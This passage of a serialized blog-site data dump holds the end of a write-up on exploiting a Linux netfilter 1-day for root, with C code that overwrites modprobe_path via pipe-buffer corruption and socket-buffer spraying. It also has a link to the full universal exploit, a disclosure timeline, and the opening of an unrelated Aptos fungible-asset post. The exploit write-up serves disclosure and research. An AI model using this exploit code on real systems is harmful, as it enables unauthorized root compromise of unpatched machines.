SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[59006],{"type":23,"tag":56,"props":59007,"children":59008},{"__ignoreMap":7},[59009,59016,59038,59046,59053,59061,59069,59077,59085,59092,59100,59107,59145,59156,59163,59170,59177,59204,59235,59242,59264,59277,59284,59342,59349,59377,59384,59391,59412,59419,59440,59451,59458,59465,59486,59493,59521,59534,59541,59548,59597,59604,59672,59679,59700,59720,59727,59734,59741,59761],{"type":23,"tag":504,"props":59010,"children":59011},{"class":506,"line":507},[59012],{"type":23,"tag":504,"props":59013,"children":59014},{"style":523},[59015],{"type":28,"value":9299},{"type":23,"tag":504,"props":59017,"children":59018},{"class":506,"line":540},[59019,59024,59029,59034],{"type":23,"tag":504,"props":59020,"children":59021},{"style":523},[59022],{"type":28,"value":59023},"    puts(\"[*] ",{"type":23,"tag":504,"props":59025,"children":59026},{"style":1012},[59027],{"type":28,"value":59028},"overwrite",{"type":23,"tag":504,"props":59030,"children":59031},{"style":1012},[59032],{"type":28,"value":59033}," modprobe_path",{"type":23,"tag":504,"props":59035,"children":59036},{"style":622},[59037],{"type":28,"value":55270},{"type":23,"tag":504,"props":59039,"children":59040},{"class":506,"line":555},[59041],{"type":23,"tag":504,"props":59042,"children":59043},{"style":622},[59044],{"type":28,"value":59045},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":504,"props":59047,"children":59048},{"class":506,"line":633},[59049],{"type":23,"tag":504,"props":59050,"children":59051},{"style":622},[59052],{"type":28,"value":28168},{"type":23,"tag":504,"props":59054,"children":59055},{"class":506,"line":687},[59056],{"type":23,"tag":504,"props":59057,"children":59058},{"style":622},[59059],{"type":28,"value":59060},"        pipebuf->page = modprobe_page;\n",{"type":23,"tag":504,"props":59062,"children":59063},{"class":506,"line":736},[59064],{"type":23,"tag":504,"props":59065,"children":59066},{"style":622},[59067],{"type":28,"value":59068},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":504,"props":59070,"children":59071},{"class":506,"line":785},[59072],{"type":23,"tag":504,"props":59073,"children":59074},{"style":622},[59075],{"type":28,"value":59076},"        pipebuf->len = 0;\n",{"type":23,"tag":504,"props":59078,"children":59079},{"class":506,"line":813},[59080],{"type":23,"tag":504,"props":59081,"children":59082},{"style":622},[59083],{"type":28,"value":59084},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":504,"props":59086,"children":59087},{"class":506,"line":851},[59088],{"type":23,"tag":504,"props":59089,"children":59090},{"style":622},[59091],{"type":28,"value":30637},{"type":23,"tag":504,"props":59093,"children":59094},{"class":506,"line":869},[59095],{"type":23,"tag":504,"props":59096,"children":59097},{"style":622},[59098],{"type":28,"value":59099},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":504,"props":59101,"children":59102},{"class":506,"line":878},[59103],{"type":23,"tag":504,"props":59104,"children":59105},{"style":622},[59106],{"type":28,"value":30673},{"type":23,"tag":504,"props":59108,"children":59109},{"class":506,"line":1221},[59110,59115,59119,59123,59127,59132,59136,59140],{"type":23,"tag":504,"props":59111,"children":59112},{"style":622},[59113],{"type":28,"value":59114},"                perror(\"",{"type":23,"tag":504,"props":59116,"children":59117},{"style":523},[59118],{"type":28,"value":2711},{"type":23,"tag":504,"props":59120,"children":59121},{"style":598},[59122],{"type":28,"value":3308},{"type":23,"tag":504,"props":59124,"children":59125},{"style":523},[59126],{"type":28,"value":595},{"type":23,"tag":504,"props":59128,"children":59129},{"style":1012},[59130],{"type":28,"value":59131},"write",{"type":23,"tag":504,"props":59133,"children":59134},{"style":523},[59135],{"type":28,"value":526},{"type":23,"tag":504,"props":59137,"children":59138},{"style":1012},[59139],{"type":28,"value":40913},{"type":23,"tag":504,"props":59141,"children":59142},{"style":523},[59143],{"type":28,"value":59144},")\");\n",{"type":23,"tag":504,"props":59146,"children":59147},{"class":506,"line":1276},[59148,59152],{"type":23,"tag":504,"props":59149,"children":59150},{"style":544},[59151],{"type":28,"value":57938},{"type":23,"tag":504,"props":59153,"children":59154},{"style":523},[59155],{"type":28,"value":866},{"type":23,"tag":504,"props":59157,"children":59158},{"class":506,"line":1285},[59159],{"type":23,"tag":504,"props":59160,"children":59161},{"style":523},[59162],{"type":28,"value":1282},{"type":23,"tag":504,"props":59164,"children":59165},{"class":506,"line":1294},[59166],{"type":23,"tag":504,"props":59167,"children":59168},{"style":523},[59169],{"type":28,"value":1291},{"type":23,"tag":504,"props":59171,"children":59172},{"class":506,"line":1302},[59173],{"type":23,"tag":504,"props":59174,"children":59175},{"emptyLinePlaceholder":16},[59176],{"type":28,"value":1038},{"type":23,"tag":504,"props":59178,"children":59179},{"class":506,"line":1311},[59180,59184,59188,59192,59196,59200],{"type":23,"tag":504,"props":59181,"children":59182},{"style":517},[59183],{"type":28,"value":53595},{"type":23,"tag":504,"props":59185,"children":59186},{"style":523},[59187],{"type":28,"value":526},{"type":23,"tag":504,"props":59189,"children":59190},{"style":598},[59191],{"type":28,"value":2086},{"type":23,"tag":504,"props":59193,"children":59194},{"style":523},[59195],{"type":28,"value":57750},{"type":23,"tag":504,"props":59197,"children":59198},{"style":1440},[59199],{"type":28,"value":3001},{"type":23,"tag":504,"props":59201,"children":59202},{"style":523},[59203],{"type":28,"value":57759},{"type":23,"tag":504,"props":59205,"children":59206},{"class":506,"line":1334},[59207,59211,59216,59220,59225,59230],{"type":23,"tag":504,"props":59208,"children":59209},{"style":517},[59210],{"type":28,"value":54296},{"type":23,"tag":504,"props":59212,"children":59213},{"style":523},[59214],{"type":28,"value":59215},"(fd_path, ",{"type":23,"tag":504,"props":59217,"children":59218},{"style":511},[59219],{"type":28,"value":54306},{"type":23,"tag":504,"props":59221,"children":59222},{"style":523},[59223],{"type":28,"value":59224},"(fd_path), ",{"type":23,"tag":504,"props":59226,"children":59227},{"style":622},[59228],{"type":28,"value":59229},"\"/proc/%i/fd/%i\"",{"type":23,"tag":504,"props":59231,"children":59232},{"style":523},[59233],{"type":28,"value":59234},", i, modprobe_fd);\n",{"type":23,"tag":504,"props":59236,"children":59237},{"class":506,"line":1370},[59238],{"type":23,"tag":504,"props":59239,"children":59240},{"emptyLinePlaceholder":16},[59241],{"type":28,"value":1038},{"type":23,"tag":504,"props":59243,"children":59244},{"class":506,"line":1384},[59245,59250,59255,59259],{"type":23,"tag":504,"props":59246,"children":59247},{"style":517},[59248],{"type":28,"value":59249},"        lseek",{"type":23,"tag":504,"props":59251,"children":59252},{"style":523},[59253],{"type":28,"value":59254},"(modprobe_fd, ",{"type":23,"tag":504,"props":59256,"children":59257},{"style":1440},[59258],{"type":28,"value":3001},{"type":23,"tag":504,"props":59260,"children":59261},{"style":523},[59262],{"type":28,"value":59263},", SEEK_SET);\n",{"type":23,"tag":504,"props":59265,"children":59266},{"class":506,"line":1392},[59267,59272],{"type":23,"tag":504,"props":59268,"children":59269},{"style":517},[59270],{"type":28,"value":59271},"        dprintf",{"type":23,"tag":504,"props":59273,"children":59274},{"style":523},[59275],{"type":28,"value":59276},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":504,"props":59278,"children":59279},{"class":506,"line":1400},[59280],{"type":23,"tag":504,"props":59281,"children":59282},{"emptyLinePlaceholder":16},[59283],{"type":28,"value":1038},{"type":23,"tag":504,"props":59285,"children":59286},{"class":506,"line":1422},[59287,59291,59295,59299,59303,59307,59312,59316,59321,59326,59330,59334,59338],{"type":23,"tag":504,"props":59288,"children":59289},{"style":544},[59290],{"type":28,"value":2250},{"type":23,"tag":504,"props":59292,"children":59293},{"style":523},[59294],{"type":28,"value":801},{"type":23,"tag":504,"props":59296,"children":59297},{"style":517},[59298],{"type":28,"value":59131},{"type":23,"tag":504,"props":59300,"children":59301},{"style":523},[59302],{"type":28,"value":526},{"type":23,"tag":504,"props":59304,"children":59305},{"style":529},[59306],{"type":28,"value":57803},{"type":23,"tag":504,"props":59308,"children":59309},{"style":523},[59310],{"type":28,"value":59311},"[pipe_idx][",{"type":23,"tag":504,"props":59313,"children":59314},{"style":1440},[59315],{"type":28,"value":2991},{"type":23,"tag":504,"props":59317,"children":59318},{"style":523},[59319],{"type":28,"value":59320},"], fd_path, ",{"type":23,"tag":504,"props":59322,"children":59323},{"style":1440},[59324],{"type":28,"value":59325},"32",{"type":23,"tag":504,"props":59327,"children":59328},{"style":523},[59329],{"type":28,"value":2064},{"type":23,"tag":504,"props":59331,"children":59332},{"style":598},[59333],{"type":28,"value":4789},{"type":23,"tag":504,"props":59335,"children":59336},{"style":1440},[59337],{"type":28,"value":2023},{"type":23,"tag":504,"props":59339,"children":59340},{"style":523},[59341],{"type":28,"value":1192},{"type":23,"tag":504,"props":59343,"children":59344},{"class":506,"line":1450},[59345],{"type":23,"tag":504,"props":59346,"children":59347},{"style":523},[59348],{"type":28,"value":30637},{"type":23,"tag":504,"props":59350,"children":59351},{"class":506,"line":1463},[59352,59356,59360,59364,59368,59373],{"type":23,"tag":504,"props":59353,"children":59354},{"style":517},[59355],{"type":28,"value":56876},{"type":23,"tag":504,"props":59357,"children":59358},{"style":523},[59359],{"type":28,"value":526},{"type":23,"tag":504,"props":59361,"children":59362},{"style":622},[59363],{"type":28,"value":1268},{"type":23,"tag":504,"props":59365,"children":59366},{"style":47353},[59367],{"type":28,"value":47356},{"type":23,"tag":504,"props":59369,"children":59370},{"style":622},[59371],{"type":28,"value":59372},"[-] write(pipe)\"",{"type":23,"tag":504,"props":59374,"children":59375},{"style":523},[59376],{"type":28,"value":630},{"type":23,"tag":504,"props":59378,"children":59379},{"class":506,"line":1485},[59380],{"type":23,"tag":504,"props":59381,"children":59382},{"style":523},[59383],{"type":28,"value":1291},{"type":23,"tag":504,"props":59385,"children":59386},{"class":506,"line":1503},[59387],{"type":23,"tag":504,"props":59388,"children":59389},{"emptyLinePlaceholder":16},[59390],{"type":28,"value":1038},{"type":23,"tag":504,"props":59392,"children":59393},{"class":506,"line":1516},[59394,59398,59402,59407],{"type":23,"tag":504,"props":59395,"children":59396},{"style":544},[59397],{"type":28,"value":2250},{"type":23,"tag":504,"props":59399,"children":59400},{"style":523},[59401],{"type":28,"value":801},{"type":23,"tag":504,"props":59403,"children":59404},{"style":517},[59405],{"type":28,"value":59406},"check_modprobe",{"type":23,"tag":504,"props":59408,"children":59409},{"style":523},[59410],{"type":28,"value":59411},"(fd_path))\n",{"type":23,"tag":504,"props":59413,"children":59414},{"class":506,"line":1543},[59415],{"type":23,"tag":504,"props":59416,"children":59417},{"style":523},[59418],{"type":28,"value":30637},{"type":23,"tag":504,"props":59420,"children":59421},{"class":506,"line":1583},[59422,59427,59431,59436],{"type":23,"tag":504,"props":59423,"children":59424},{"style":517},[59425],{"type":28,"value":59426},"            puts",{"type":23,"tag":504,"props":59428,"children":59429},{"style":523},[59430],{"type":28,"value":526},{"type":23,"tag":504,"props":59432,"children":59433},{"style":622},[59434],{"type":28,"value":59435},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":504,"props":59437,"children":59438},{"style":523},[59439],{"type":28,"value":630},{"type":23,"tag":504,"props":59441,"children":59442},{"class":506,"line":1605},[59443,59447],{"type":23,"tag":504,"props":59444,"children":59445},{"style":544},[59446],{"type":28,"value":2276},{"type":23,"tag":504,"props":59448,"children":59449},{"style":523},[59450],{"type":28,"value":866},{"type":23,"tag":504,"props":59452,"children":59453},{"class":506,"line":1614},[59454],{"type":23,"tag":504,"props":59455,"children":59456},{"style":523},[59457],{"type":28,"value":1291},{"type":23,"tag":504,"props":59459,"children":59460},{"class":506,"line":1627},[59461],{"type":23,"tag":504,"props":59462,"children":59463},{"emptyLinePlaceholder":16},[59464],{"type":28,"value":1038},{"type":23,"tag":504,"props":59466,"children":59467},{"class":506,"line":1655},[59468,59472,59476,59481],{"type":23,"tag":504,"props":59469,"children":59470},{"style":544},[59471],{"type":28,"value":2250},{"type":23,"tag":504,"props":59473,"children":59474},{"style":523},[59475],{"type":28,"value":801},{"type":23,"tag":504,"props":59477,"children":59478},{"style":517},[59479],{"type":28,"value":59480},"trigger_modprobe",{"type":23,"tag":504,"props":59482,"children":59483},{"style":523},[59484],{"type":28,"value":59485},"(status_fd))\n",{"type":23,"tag":504,"props":59487,"children":59488},{"class":506,"line":1668},[59489],{"type":23,"tag":504,"props":59490,"children":59491},{"style":523},[59492],{"type":28,"value":30637},{"type":23,"tag":504,"props":59494,"children":59495},{"class":506,"line":1682},[59496,59500,59504,59508,59512,59517],{"type":23,"tag":504,"props":59497,"children":59498},{"style":517},[59499],{"type":28,"value":59426},{"type":23,"tag":504,"props":59501,"children":59502},{"style":523},[59503],{"type":28,"value":526},{"type":23,"tag":504,"props":59505,"children":59506},{"style":622},[59507],{"type":28,"value":1268},{"type":23,"tag":504,"props":59509,"children":59510},{"style":47353},[59511],{"type":28,"value":47356},{"type":23,"tag":504,"props":59513,"children":59514},{"style":622},[59515],{"type":28,"value":59516},"[+] got root\"",{"type":23,"tag":504,"props":59518,"children":59519},{"style":523},[59520],{"type":28,"value":630},{"type":23,"tag":504,"props":59522,"children":59523},{"class":506,"line":1691},[59524,59529],{"type":23,"tag":504,"props":59525,"children":59526},{"style":544},[59527],{"type":28,"value":59528},"            goto",{"type":23,"tag":504,"props":59530,"children":59531},{"style":523},[59532],{"type":28,"value":59533}," out;\n",{"type":23,"tag":504,"props":59535,"children":59536},{"class":506,"line":1699},[59537],{"type":23,"tag":504,"props":59538,"children":59539},{"style":523},[59540],{"type":28,"value":1291},{"type":23,"tag":504,"props":59542,"children":59543},{"class":506,"line":1708},[59544],{"type":23,"tag":504,"props":59545,"children":59546},{"emptyLinePlaceholder":16},[59547],{"type":28,"value":1038},{"type":23,"tag":504,"props":59549,"children":59550},{"class":506,"line":1717},[59551,59556,59560,59564,59568,59572,59576,59580,59584,59589,59593],{"type":23,"tag":504,"props":59552,"children":59553},{"style":544},[59554],{"type":28,"value":59555},"        for",{"type":23,"tag":504,"props":59557,"children":59558},{"style":523},[59559],{"type":28,"value":801},{"type":23,"tag":504,"props":59561,"children":59562},{"style":511},[59563],{"type":28,"value":18028},{"type":23,"tag":504,"props":59565,"children":59566},{"style":523},[59567],{"type":28,"value":53522},{"type":23,"tag":504,"props":59569,"children":59570},{"style":598},[59571],{"type":28,"value":601},{"type":23,"tag":504,"props":59573,"children":59574},{"style":1440},[59575],{"type":28,"value":2023},{"type":23,"tag":504,"props":59577,"children":59578},{"style":523},[59579],{"type":28,"value":50212},{"type":23,"tag":504,"props":59581,"children":59582},{"style":598},[59583],{"type":28,"value":4789},{"type":23,"tag":504,"props":59585,"children":59586},{"style":523},[59587],{"type":28,"value":59588}," SKBUF_SPRAY; i",{"type":23,"tag":504,"props":59590,"children":59591},{"style":598},[59592],{"type":28,"value":50248},{"type":23,"tag":504,"props":59594,"children":59595},{"style":523},[59596],{"type":28,"value":1192},{"type":23,"tag":504,"props":59598,"children":59599},{"class":506,"line":1725},[59600],{"type":23,"tag":504,"props":59601,"children":59602},{"style":523},[59603],{"type":28,"value":30637},{"type":23,"tag":504,"props":59605,"children":59606},{"class":506,"line":1757},[59607,59611,59615,59620,59624,59629,59634,59638,59643,59647,59651,59656,59660,59664,59668],{"type":23,"tag":504,"props":59608,"children":59609},{"style":544},[59610],{"type":28,"value":57780},{"type":23,"tag":504,"props":59612,"children":59613},{"style":523},[59614],{"type":28,"value":801},{"type":23,"tag":504,"props":59616,"children":59617},{"style":517},[59618],{"type":28,"value":59619},"read",{"type":23,"tag":504,"props":59621,"children":59622},{"style":523},[59623],{"type":28,"value":526},{"type":23,"tag":504,"props":59625,"children":59626},{"style":529},[59627],{"type":28,"value":59628},"sock",{"type":23,"tag":504,"props":59630,"children":59631},{"style":523},[59632],{"type":28,"value":59633},"[i][",{"type":23,"tag":504,"props":59635,"children":59636},{"style":1440},[59637],{"type":28,"value":2991},{"type":23,"tag":504,"props":59639,"children":59640},{"style":523},[59641],{"type":28,"value":59642},"], leak, ",{"type":23,"tag":504,"props":59644,"children":59645},{"style":1440},[59646],{"type":28,"value":57127},{"type":23,"tag":504,"props":59648,"children":59649},{"style":598},[59650],{"type":28,"value":50234},{"type":23,"tag":504,"props":59652,"children":59653},{"style":1440},[59654],{"type":28,"value":59655}," 320",{"type":23,"tag":504,"props":59657,"children":59658},{"style":523},[59659],{"type":28,"value":2064},{"type":23,"tag":504,"props":59661,"children":59662},{"style":598},[59663],{"type":28,"value":4789},{"type":23,"tag":504,"props":59665,"children":59666},{"style":1440},[59667],{"type":28,"value":2023},{"type":23,"tag":504,"props":59669,"children":59670},{"style":523},[59671],{"type":28,"value":1192},{"type":23,"tag":504,"props":59673,"children":59674},{"class":506,"line":1765},[59675],{"type":23,"tag":504,"props":59676,"children":59677},{"style":523},[59678],{"type":28,"value":30673},{"type":23,"tag":504,"props":59680,"children":59681},{"class":506,"line":22762},[59682,59687,59691,59696],{"type":23,"tag":504,"props":59683,"children":59684},{"style":517},[59685],{"type":28,"value":59686},"                perror",{"type":23,"tag":504,"props":59688,"children":59689},{"style":523},[59690],{"type":28,"value":526},{"type":23,"tag":504,"props":59692,"children":59693},{"style":622},[59694],{"type":28,"value":59695},"\"[-] read(socket)\"",{"type":23,"tag":504,"props":59697,"children":59698},{"style":523},[59699],{"type":28,"value":630},{"type":23,"tag":504,"props":59701,"children":59702},{"class":506,"line":22799},[59703,59708,59712,59716],{"type":23,"tag":504,"props":59704,"children":59705},{"style":544},[59706],{"type":28,"value":59707},"                return",{"type":23,"tag":504,"props":59709,"children":59710},{"style":598},[59711],{"type":28,"value":50234},{"type":23,"tag":504,"props":59713,"children":59714},{"style":1440},[59715],{"type":28,"value":2991},{"type":23,"tag":504,"props":59717,"children":59718},{"style":523},[59719],{"type":28,"value":866},{"type":23,"tag":504,"props":59721,"children":59722},{"class":506,"line":22812},[59723],{"type":23,"tag":504,"props":59724,"children":59725},{"style":523},[59726],{"type":28,"value":1282},{"type":23,"tag":504,"props":59728,"children":59729},{"class":506,"line":22825},[59730],{"type":23,"tag":504,"props":59731,"children":59732},{"style":523},[59733],{"type":28,"value":1291},{"type":23,"tag":504,"props":59735,"children":59736},{"class":506,"line":22838},[59737],{"type":23,"tag":504,"props":59738,"children":59739},{"style":523},[59740],{"type":28,"value":875},{"type":23,"tag":504,"props":59742,"children":59743},{"class":506,"line":22892},[59744,59748,59752,59757],{"type":23,"tag":504,"props":59745,"children":59746},{"style":517},[59747],{"type":28,"value":54485},{"type":23,"tag":504,"props":59749,"children":59750},{"style":523},[59751],{"type":28,"value":526},{"type":23,"tag":504,"props":59753,"children":59754},{"style":622},[59755],{"type":28,"value":59756},"\"[-] fake modprobe failed\"",{"type":23,"tag":504,"props":59758,"children":59759},{"style":523},[59760],{"type":28,"value":630},{"type":23,"tag":504,"props":59762,"children":59763},{"class":506,"line":22901},[59764],{"type":23,"tag":504,"props":59765,"children":59766},{"style":523},[59767],{"type":28,"value":9299},{"type":23,"tag":24,"props":59769,"children":59770},{},[59771,59773,59780],{"type":28,"value":59772},"This trick has already been throughly detailed by ",{"type":23,"tag":92,"props":59774,"children":59777},{"href":59775,"rel":59776},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[96],[59778],{"type":28,"value":59779},"lau",{"type":28,"value":59781},", so we won't go much more into it.",{"type":23,"tag":82,"props":59783,"children":59785},{"id":59784},"universal-exploit-demo",[59786],{"type":28,"value":59787},"Universal exploit demo",{"type":23,"tag":24,"props":59789,"children":59790},{},[59791,59793,59799],{"type":28,"value":59792},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":92,"props":59794,"children":59797},{"href":59795,"rel":59796},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[96],[59798],{"type":28,"value":56394},{"type":28,"value":320},{"type":23,"tag":70,"props":59801,"children":59803},{"id":59802},"disclosure-timeline",[59804],{"type":28,"value":59805},"Disclosure Timeline",{"type":23,"tag":350,"props":59807,"children":59808},{},[59809,59814,59819,59824,59829],{"type":23,"tag":45,"props":59810,"children":59811},{},[59812],{"type":28,"value":59813},"March 21st -- Patch made public",{"type":23,"tag":45,"props":59815,"children":59816},{},[59817],{"type":28,"value":59818},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":45,"props":59820,"children":59821},{},[59822],{"type":28,"value":59823},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":45,"props":59825,"children":59826},{},[59827],{"type":28,"value":59828},"March 26th -- Wrote Universal exploit",{"type":23,"tag":45,"props":59830,"children":59831},{},[59832],{"type":28,"value":59833},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":59835,"children":59836},{},[59837],{"type":28,"value":59838},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":70,"props":59840,"children":59841},{"id":1800},[59842],{"type":28,"value":1803},{"type":23,"tag":24,"props":59844,"children":59845},{},[59846],{"type":28,"value":59847},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":59849,"children":59850},{},[59851],{"type":28,"value":59852},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":1815,"props":59854,"children":59855},{},[59856],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":59858},[59859,59862,59865,59868,59869,59879,59887,59888],{"id":49547,"depth":540,"text":49550,"children":59860},[59861],{"id":49567,"depth":555,"text":49570},{"id":49610,"depth":540,"text":49610,"children":59863},[59864],{"id":49657,"depth":555,"text":49660},{"id":49715,"depth":540,"text":49718,"children":59866},[59867],{"id":50877,"depth":555,"text":50880},{"id":52752,"depth":540,"text":52755},{"id":53154,"depth":540,"text":53157,"children":59870},[59871,59872,59873,59875,59876,59877,59878],{"id":53181,"depth":555,"text":53184},{"id":54063,"depth":555,"text":54066},{"id":54649,"depth":555,"text":59874},"Leaking self pointer of nft_object",{"id":55047,"depth":555,"text":55050},{"id":55561,"depth":555,"text":55564},{"id":55691,"depth":555,"text":55348},{"id":56375,"depth":555,"text":56378},{"id":56398,"depth":540,"text":56401,"children":59880},[59881,59882,59883,59884,59886],{"id":56409,"depth":555,"text":56412},{"id":57267,"depth":555,"text":57270},{"id":57343,"depth":555,"text":57346},{"id":58967,"depth":555,"text":59885},"Overwriting modprobe_path",{"id":59784,"depth":555,"text":59787},{"id":59802,"depth":540,"text":59805},{"id":1800,"depth":540,"text":1803},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":59893,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":59894,"description":59895,"image":59896,"date":59898,"isFeatured":16,"onBlogPage":16,"tags":59899,"body":59900,"_type":1838,"_id":66618,"_source":1840,"_file":66619,"_stem":66620,"_extension":1843},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":59897,"width":4367,"height":4368},"/posts/aptos-guide/title.png","2025-02-10",[4863],{"type":20,"children":59901,"toc":66602},[59902,59915,59920,59929,59935,59963,60036,60076,60110,60271,60290,60371,60411,60439,60456,60461,60469,60474,60480,60501,60581,60614,60622,60635,60640,61024,61029,61034,61040,61045,61057,61161,61199,61202,61220,61528,61533,61545,61551,61577,61598,61603,61782,61802,61808,61828,61840,61845,61851,61863,61926,61953,61977,62198,62201,62220,62330,62387,62523,62550,62556,62582,62826,62854,63156,63189,63203,63229,63262,63569,63581,63858,63872,64189,64208,64214,64246,64286,64387,64407,64527,64544,64618,64630,64718,64739,64745,64750,64755,64772,64793,65164,65223,65228,65679,65684,65720,65726,65738,65760,65786,65993,66007,66262,66274,66301,66452,66471,66501,66505,66516,66521,66534,66598],{"type":23,"tag":24,"props":59903,"children":59904},{},[59905,59907,59913],{"type":28,"value":59906},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":56,"props":59908,"children":59910},{"className":59909},[],[59911],{"type":28,"value":59912},"coin",{"type":28,"value":59914}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":59916,"children":59917},{},[59918],{"type":28,"value":59919},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":59921,"props":59922,"children":59923},"important",{},[59924],{"type":23,"tag":24,"props":59925,"children":59926},{},[59927],{"type":28,"value":59928},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":70,"props":59930,"children":59932},{"id":59931},"aptos-coin-standard",[59933],{"type":28,"value":59934},"Aptos Coin standard",{"type":23,"tag":24,"props":59936,"children":59937},{},[59938,59940,59946,59948,59953,59954,59961],{"type":28,"value":59939},"In the beginning, Aptos used ",{"type":23,"tag":56,"props":59941,"children":59943},{"className":59942},[],[59944],{"type":28,"value":59945},"Coin",{"type":28,"value":59947},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":56,"props":59949,"children":59951},{"className":59950},[],[59952],{"type":28,"value":59945},{"type":28,"value":4483},{"type":23,"tag":92,"props":59955,"children":59958},{"href":59956,"rel":59957},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[96],[59959],{"type":28,"value":59960},"defined",{"type":28,"value":59962}," in Aptos as follows:",{"type":23,"tag":494,"props":59964,"children":59966},{"className":1957,"code":59965,"language":1956,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[59967],{"type":23,"tag":56,"props":59968,"children":59969},{"__ignoreMap":7},[59970,60009,60029],{"type":23,"tag":504,"props":59971,"children":59972},{"class":506,"line":507},[59973,59977,59981,59985,59989,59993,59997,60001,60005],{"type":23,"tag":504,"props":59974,"children":59975},{"style":511},[59976],{"type":28,"value":8383},{"type":23,"tag":504,"props":59978,"children":59979},{"style":1012},[59980],{"type":28,"value":4784},{"type":23,"tag":504,"props":59982,"children":59983},{"style":523},[59984],{"type":28,"value":4789},{"type":23,"tag":504,"props":59986,"children":59987},{"style":529},[59988],{"type":28,"value":4794},{"type":23,"tag":504,"props":59990,"children":59991},{"style":1012},[59992],{"type":28,"value":4799},{"type":23,"tag":504,"props":59994,"children":59995},{"style":523},[59996],{"type":28,"value":4804},{"type":23,"tag":504,"props":59998,"children":59999},{"style":529},[60000],{"type":28,"value":4809},{"type":23,"tag":504,"props":60002,"children":60003},{"style":529},[60004],{"type":28,"value":4814},{"type":23,"tag":504,"props":60006,"children":60007},{"style":523},[60008],{"type":28,"value":552},{"type":23,"tag":504,"props":60010,"children":60011},{"class":506,"line":540},[60012,60017,60021,60025],{"type":23,"tag":504,"props":60013,"children":60014},{"style":529},[60015],{"type":28,"value":60016},"    value",{"type":23,"tag":504,"props":60018,"children":60019},{"style":598},[60020],{"type":28,"value":3472},{"type":23,"tag":504,"props":60022,"children":60023},{"style":1012},[60024],{"type":28,"value":4843},{"type":23,"tag":504,"props":60026,"children":60027},{"style":523},[60028],{"type":28,"value":2484},{"type":23,"tag":504,"props":60030,"children":60031},{"class":506,"line":555},[60032],{"type":23,"tag":504,"props":60033,"children":60034},{"style":523},[60035],{"type":28,"value":884},{"type":23,"tag":24,"props":60037,"children":60038},{},[60039,60041,60046,60048,60054,60055,60061,60063,60068,60070,60075],{"type":28,"value":60040},"Aptos distinguishes coins by their type (",{"type":23,"tag":56,"props":60042,"children":60044},{"className":60043},[],[60045],{"type":28,"value":5567},{"type":28,"value":60047},") at compile time. For example, ",{"type":23,"tag":56,"props":60049,"children":60051},{"className":60050},[],[60052],{"type":28,"value":60053},"Coin\u003COtter>",{"type":28,"value":430},{"type":23,"tag":56,"props":60056,"children":60058},{"className":60057},[],[60059],{"type":28,"value":60060},"Coin\u003CWeasel>",{"type":28,"value":60062}," represent different coins, and you cannot pass a ",{"type":23,"tag":56,"props":60064,"children":60066},{"className":60065},[],[60067],{"type":28,"value":60060},{"type":28,"value":60069}," to a function expecting ",{"type":23,"tag":56,"props":60071,"children":60073},{"className":60072},[],[60074],{"type":28,"value":60053},{"type":28,"value":320},{"type":23,"tag":24,"props":60077,"children":60078},{},[60079,60081,60086,60088,60093,60095,60100,60102,60108],{"type":28,"value":60080},"The type signature reveals why ",{"type":23,"tag":56,"props":60082,"children":60084},{"className":60083},[],[60085],{"type":28,"value":59945},{"type":28,"value":60087}," has become a legacy standard. ",{"type":23,"tag":56,"props":60089,"children":60091},{"className":60090},[],[60092],{"type":28,"value":59945},{"type":28,"value":60094}," has only the ",{"type":23,"tag":56,"props":60096,"children":60098},{"className":60097},[],[60099],{"type":28,"value":4924},{"type":28,"value":60101}," ability and uses a 